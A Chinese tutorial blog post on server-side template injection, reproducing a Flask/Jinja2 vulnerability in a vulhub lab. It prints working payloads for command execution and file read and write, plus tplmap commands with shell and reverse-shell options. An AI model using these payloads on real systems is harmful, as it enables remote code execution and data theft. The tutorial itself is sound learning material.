SSTI完全学习[通俗易懂]

一、什么是SSTISSTI就是服务器端模板注入(Server-SideTemplateInjection),也给出了一个注入的概念。常见的注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。sql注入是从用户获…

大家好,又见面了,我是你们的朋友全栈君。

一、什么是SSTI

SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

现在网上提起的比较多的是Python的网站。

二、谈谈模板引擎

百度百科的定义:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

三、回到SSTI

1、简单例子

先给出下面这个例子,以便理解:

$output = $twig->render("Hello { 
   {name}}", array("name" => $_GET["name"])); 
echo $output;

当然在渲染过程中会有很多不一样的处理,这个是比较简单的一个,对于现在的SSTI在后端处理的时候也会有许多的过滤。

总之,ssti就是这么个道理,就像sql注入中你用id=-1’ union select database()可以拿到数据库一样,当然在漏洞利用上还是有很多的技巧,也会有绕过的技巧的。

2、Flask(Jinja2) 服务端模板注入漏洞复现

ctf中比较常见的还是python站的SSTI,下面用vulhub上的一个环境来复现Flask的SSTI漏洞,展示一下流程

1)docker环境搭建
docker-compose up -d    
2)注入检测

访问http://192.168.1.10:8000/
[外链图片转存失败(img-WSzM3J8q-1563519679126)(en-resource://database/739:1)]

传参?name={
{7*8}},可以得到:
在这里插入图片描述
传参?name={
{7*8}},可以得到:
在这里插入图片描述

说明存在SSTI漏洞

3)漏洞利用

官方的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
  
  { b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

把上面这一串当做name参数传递即可实现命令执行:

http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{
  
  {%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

结果如下:
在这里插入图片描述

看到id命令成功执行

四、关于SSTI的python类的知识

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。

面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

首先进入python—命令行输入python进入这样的界面:
在这里插入图片描述
进行以下输入:

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> { 
   }.__class__
<type 'dict'>

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> { 
   }.__class__.__bases__
(<type 'object'>,)

>>> [].__class__.__bases__[0]
<type 'object'>

__bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

__subclasses__():查看当前类的子类。

当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。
获取基类还能用还有__mro__,比如:

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> { 
   }.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)

>>> ().__class__.__mro__[1]            //使用索引就能获取基类了
<class 'object'>

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类,更多的方法大家可以去发现和搜集。

五、一些常用的方法

//获取基本类
''.__class__.__mro__[1]
{ 
   }.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

上面漏洞复现时候的payload也是很强了,用类于编程的方式来展现,不用再一个个去查索引了:

{ 
   % for c in [].__class__.__base__.__subclasses__() %}
{ 
   % if c.__name__ == 'catch_warnings' %}
  { 
   % for b in c.__init__.__globals__.values() %}
  { 
   % if b.__class__ == { 
   }.__class__ %}
    { 
   % if 'eval' in b.keys() %}
      { 
   { 
    b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
    { 
   % endif %}
  { 
   % endif %}
  { 
   % endfor %}
{ 
   % endif %}
{ 
   % endfor %}

有的时候还是需要绕过和沙箱逃逸才能实现SSTI的。

六、SSTI神器–Tplmap

先给出下载地址:https://github.com/epinna/tplmap
需要环境:PyYaml

pip install PyYaml

1、简单使用

以上面复现的漏洞为例简单介绍一下用法:

root@kali:/mnt/hgfs/共享文件夹/tplmap-master# python tplmap.py -u "http://192.168.1.10:8000/?name=Sea" //判断是否是注入点
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{ 
   {*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{ 
   {*}}'
[+] Jinja2 plugin has confirmed injection with tag '{ 
   {*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name                //说明可以注入,同时给出了详细信息
  Engine: Jinja2
  Injection: { 
   { 
   *}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok           //检验出这些利用方法对于目标环境是否可用
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:
                                                                  //可以利用下面这些参数进行进一步的操作
    --os-shell				Run shell on the target
    --os-cmd				Execute shell commands
    --bind-shell PORT			Connect to a shell bind to a target port
    --reverse-shell HOST PORT	Send a shell back to the attacker's port
    --upload LOCAL REMOTE	Upload files to the server
    --download REMOTE LOCAL	Download remote files

拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利

//获取更多参数信息,要善于利用帮助信息来学习
python tplmap.py -h

2、Nunjucks模板引擎沙箱逃逸

python tplmap.py -u http://792.168.1.10:8000/?name=* --engine Nunjucks --os-shell

具体详情参考:https://www.anquanke.com/post/id/84336

3、使用训练

tplmap项目中附带有docker环境,可供学习和熟悉tplmap:
https://github.com/epinna/tplmap/tree/master/docker-envs

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/125236.html原文链接:https://javaforall.net

(1)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Spring Cloud入门-Eureka服务注册与发现(Hoxton版本)

    Spring Cloud入门-Eureka服务注册与发现(Hoxton版本)文章目录什么是SpringCloud摘要Eureka简介搭建Eureka注册中心创建父工程springcloud-learning创建Eureka服务端模块使用IDEA的RunDashboard来运行SpringCloud应用搭建Eureka客户端搭建Eureka注册中心集群搭建两个注册中心运行Eureka注册中心集群给Eureka注册中心添加认证创建一个eureka-security-ser…

    2022年8月21日
    5
  • 关于程序多开的尝试。CreateMutex,OpenMuxtex,ReleaseMutex「建议收藏」

    关于程序多开的尝试。CreateMutex,OpenMuxtex,ReleaseMutex「建议收藏」因为偶尔会遇到对那些不能支持双开的程序进行多开。。根据前一阵转的一篇文件了解到,现在大多程序都用CreateMutex方式来限制多开,于是有个想法:它Create了,我Release它,然后不就可以多开了吗?然而。。。经过一些小程序的验证及网上的搜索,我失败了。原因是:对于一个Mutex来说,只有Create它的进程才可以Release它。所以想用这种方式是不可能了。不过并不是…

    2022年6月26日
    25
  • 双绞线制作实验报告心得体会_制作网络双绞线实验心得

    双绞线制作实验报告心得体会_制作网络双绞线实验心得参考各路资料。不一一指出。一、实验目的:(1)学会两种双绞线制作方法;(2)掌握剥线/压线钳和普通网线测试仪的使用方法;(3)了解双绞线和水晶头的组成结构;(4)了解各网络设备之间网线连接的特点。二、实验项目:(1)直通线的制作(2)交叉线制作三、实验准备1、相关知识的准备(1)RJ-45水晶头结构(2)做线工具 剥线/压线钳

    2025年8月2日
    2
  • echarts 旭日图sunburst[通俗易懂]

    echarts 旭日图sunburst[通俗易懂]1、配置数据 第一层为最内层的环,第二层为第一层对应的children所构成的环 [ { value:n, 数值,根据同层所有数值的占比,构成百分比圆环,不写为内部第一层children的数值和 若设置的值大于内部第一层的数值,即表示有未显示的内容,具体表示图会压缩同层其他环占比 name:’显示内容’, children:[ { value:n, name:’显示内容’ } ] }, { va

    2022年9月26日
    2
  • 2021win7激活码-激活码分享

    (2021win7激活码)好多小伙伴总是说激活码老是失效,太麻烦,关注/收藏全栈君太难教程,2021永久激活的方法等着你。IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.htmlMLZPB5EL5Q-eyJsaWNlbnNlSW…

    2022年3月21日
    62
  • 软件安装管家【软件目录】[通俗易懂]

    https://blog.csdn.net/luai_l/article/details/106318576

    2022年4月18日
    75

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号